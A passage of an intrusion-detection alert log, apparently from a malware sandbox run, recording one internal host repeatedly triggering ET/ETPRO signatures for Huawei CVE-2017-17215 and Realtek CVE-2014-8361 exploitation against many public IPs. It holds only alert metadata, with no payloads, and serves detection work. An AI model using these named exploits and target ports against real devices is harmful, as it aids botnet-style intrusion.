SID:	2835222
Source Port:	44010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.88.221.210

Timestamp:	07/20/24-23:01:31.975158
SID:	2829579
Source Port:	58822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.246.61

Timestamp:	07/20/24-23:01:31.976984
SID:	2835222
Source Port:	37002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.37.150

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	52632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.40.75.19

Timestamp:	07/20/24-23:01:11.636599
SID:	2829579
Source Port:	59270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.12.11.101

Timestamp:	07/20/24-23:01:42.470759
SID:	2831300
Source Port:	44516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.1.18.208

Timestamp:	07/20/24-23:01:43.970621
SID:	2027339
Source Port:	51010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.95.107.188

Timestamp:	07/20/24-23:01:48.701127
SID:	2025132
Source Port:	52112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.114.190.173

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	58660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.168.154.99

Timestamp:	07/20/24-23:01:42.159489
SID:	2025132
Source Port:	52240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.217.202.87

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	45666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.173.195.222

Timestamp:	07/20/24-23:01:24.990022
SID:	2027339
Source Port:	56464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.198.11.250

Timestamp:	07/20/24-23:01:47.872561
SID:	2027339
Source Port:	45328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.51.4.30

Timestamp:	07/20/24-23:01:53.665550
SID:	2027339
Source Port:	60378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.8.238.183

Timestamp:	07/20/24-23:01:43.392835
SID:	2027339
Source Port:	36384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.173.156.193

Timestamp:	07/20/24-23:01:44.971718
SID:	2027339
Source Port:	52574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.244.29.112

Timestamp:	07/20/24-23:01:43.946379
SID:	2025132
Source Port:	46328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.169.37.205

Timestamp:	07/20/24-23:02:10.031806
SID:	2027339
Source Port:	43076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.5.220.159

Timestamp:	07/20/24-23:01:34.043880
SID:	2835222
Source Port:	49064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.132.44.64

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	46626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.76.186.58

Timestamp:	07/20/24-23:01:49.011895
SID:	2025132
Source Port:	43950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.217.61

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	59956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.208.197.76

Timestamp:	07/20/24-23:01:47.962852
SID:	2027339
Source Port:	34886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.125.46.208

Timestamp:	07/20/24-23:01:50.038268
SID:	2027339
Source Port:	51568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.121.119.159

Timestamp:	07/20/24-23:02:06.553447
SID:	2027339
Source Port:	48814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.193.210.39

Timestamp:	07/20/24-23:01:42.632446
SID:	2831300
Source Port:	53810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.140.130.170

Timestamp:	07/20/24-23:01:46.293475
SID:	2025132
Source Port:	48050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.124.10.6

Timestamp:	07/20/24-23:02:43.072508
SID:	2025132
Source Port:	43146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.142.102.71

Timestamp:	07/20/24-23:01:44.139692
SID:	2025132
Source Port:	58250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.86.228.100

Timestamp:	07/20/24-23:01:41.303455
SID:	2027339
Source Port:	42292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.152.33.197

Timestamp:	07/20/24-23:01:27.660100
SID:	2829579
Source Port:	40954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.121.190.157

Timestamp:	07/20/24-23:01:47.995637
SID:	2027339
Source Port:	58774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.143.82.53

Timestamp:	07/20/24-23:02:09.627181
SID:	2027339
Source Port:	49196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.141.197.116

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	39532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.106.84.138

Timestamp:	07/20/24-23:01:57.101402
SID:	2025132
Source Port:	34722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.165.99.108

Timestamp:	07/20/24-23:02:00.512136
SID:	2831300
Source Port:	59352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.232.109.220

Timestamp:	07/20/24-23:01:52.947418
SID:	2027339
Source Port:	44360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.172.125.251

Timestamp:	07/20/24-23:01:43.841155
SID:	2831300
Source Port:	47910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.112.222.157

Timestamp:	07/20/24-23:00:59.185032
SID:	2835222
Source Port:	35748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.223.177.47

Timestamp:	07/20/24-23:01:44.362240
SID:	2025132
Source Port:	42968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.42.185.132

Timestamp:	07/20/24-23:03:46.099099
SID:	2025132
Source Port:	42158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.130.70.21

Timestamp:	07/20/24-23:01:40.301143
SID:	2829579
Source Port:	55040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.106.207.118

Timestamp:	07/20/24-23:01:45.118041
SID:	2027339
Source Port:	59874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 4.66.151.191

Timestamp:	07/20/24-23:01:44.280821
SID:	2831300
Source Port:	50254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.212.150.4

Timestamp:	07/20/24-23:01:49.232174
SID:	2025132
Source Port:	51510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.38.63

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	39408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.161.8.187

Timestamp:	07/20/24-23:01:25.288927
SID:	2027339
Source Port:	51686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.135.26.34

Timestamp:	07/20/24-23:01:42.617689
SID:	2831300
Source Port:	60852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.159.36.252

Timestamp:	07/20/24-23:01:48.216693
SID:	2027339
Source Port:	60934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.18.22.34

Timestamp:	07/20/24-23:01:43.007032
SID:	2027339
Source Port:	60640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.6.48

Timestamp:	07/20/24-23:01:00.639011
SID:	2829579
Source Port:	37970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.28.79

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	56022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.49.181.54

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	51176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.150.189.204

Timestamp:	07/20/24-23:01:57.757934
SID:	2027339
Source Port:	47594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.100.42.211

Timestamp:	07/20/24-23:01:58.249115
SID:	2027339
Source Port:	40794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.0.45.254

Timestamp:	07/20/24-23:01:02.090403
SID:	2027339
Source Port:	36694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:51.358348
SID:	2831300
Source Port:	57654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.118.44.58

Timestamp:	07/20/24-23:02:37.123706
SID:	2027339
Source Port:	42692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.75.241.221

Timestamp:	07/20/24-23:01:20.592479
SID:	2831300
Source Port:	36596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.184.165.232

Timestamp:	07/20/24-23:01:08.634900
SID:	2027339
Source Port:	54028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.128.110.44

Timestamp:	07/20/24-23:00:59.213564
SID:	2835222
Source Port:	58330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.239.63.70

Timestamp:	07/20/24-23:01:21.938818
SID:	2835222
Source Port:	49236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.176.211.200

Timestamp:	07/20/24-23:01:41.347676
SID:	2025132
Source Port:	46104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.191.4.143

Timestamp:	07/20/24-23:02:03.032025
SID:	2027339
Source Port:	58854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.35.159.72

Timestamp:	07/20/24-23:01:34.044537
SID:	2835222
Source Port:	50196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.147.70.115

Timestamp:	07/20/24-23:01:45.092574
SID:	2027339
Source Port:	34552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.101.142.15

Timestamp:	07/20/24-23:01:02.045685
SID:	2835222
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.10.103.253

Timestamp:	07/20/24-23:01:08.652877
SID:	2027339
Source Port:	49584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.28.183.134

Timestamp:	07/20/24-23:01:08.582150
SID:	2831300
Source Port:	60208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.215.30.136

Timestamp:	07/20/24-23:01:42.717611
SID:	2831300
Source Port:	38634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.9.32.210

Timestamp:	07/20/24-23:01:41.676253
SID:	2027339
Source Port:	58742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.144.227.253

Timestamp:	07/20/24-23:01:43.282556
SID:	2027339
Source Port:	45418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.179.102.199

Timestamp:	07/20/24-23:01:04.187171
SID:	2027339
Source Port:	59650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.219.50.159

Timestamp:	07/20/24-23:01:42.571884
SID:	2025132
Source Port:	50062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 222.217.185.57

Timestamp:	07/20/24-23:01:42.800757
SID:	2831300
Source Port:	36946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.188.157.139

Timestamp:	07/20/24-23:01:47.693711
SID:	2027339
Source Port:	58450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.154.77.145

Timestamp:	07/20/24-23:01:03.486619
SID:	2027339
Source Port:	43862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.233.183.8

Timestamp:	07/20/24-23:02:07.698636
SID:	2831300
Source Port:	41422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 175.51.152.50

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	54258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.192.144.142

Timestamp:	07/20/24-23:01:51.400635
SID:	2831300
Source Port:	54792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.217.25.84

Timestamp:	07/20/24-23:01:31.975513
SID:	2829579
Source Port:	45194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.248.174.120

Timestamp:	07/20/24-23:02:01.256493
SID:	2025132
Source Port:	52512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.222.120.169

Timestamp:	07/20/24-23:00:59.211046
SID:	2829579
Source Port:	46326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.51.135.205

Timestamp:	07/20/24-23:01:47.410893
SID:	2025132
Source Port:	47218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.3.106

Timestamp:	07/20/24-23:01:27.650243
SID:	2829579
Source Port:	58900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.31.9.47

Timestamp:	07/20/24-23:01:44.698984
SID:	2831300
Source Port:	40512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.213.41.33

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.137.23.5

Timestamp:	07/20/24-23:01:42.042815
SID:	2025132
Source Port:	54570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.247.247.18

Timestamp:	07/20/24-23:01:31.312614
SID:	2831300
Source Port:	49448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.150.124.219

Timestamp:	07/20/24-23:01:43.938688
SID:	2027339
Source Port:	44104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.189.246.31

Timestamp:	07/20/24-23:01:41.275004
SID:	2025132
Source Port:	55772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.170.166.3

Timestamp:	07/20/24-23:01:46.490827
SID:	2027339
Source Port:	51232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.158.136.187

Timestamp:	07/20/24-23:01:51.944006
SID:	2027339
Source Port:	43396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.200.30.164

Timestamp:	07/20/24-23:01:08.607816
SID:	2831300
Source Port:	43644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.231.74

Timestamp:	07/20/24-23:01:40.307219
SID:	2829579
Source Port:	47256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 65.50.132.254

Timestamp:	07/20/24-23:01:43.944379
SID:	2025132
Source Port:	57812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.207.100.170

Timestamp:	07/20/24-23:01:51.183470
SID:	2027339
Source Port:	59044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.21.137.98

Timestamp:	07/20/24-23:01:31.316196
SID:	2831300
Source Port:	59490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.95.190.72

Timestamp:	07/20/24-23:01:31.986571
SID:	2829579
Source Port:	56050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.125.30.210

Timestamp:	07/20/24-23:01:41.238000
SID:	2025132
Source Port:	52642
Destination Port:	52869
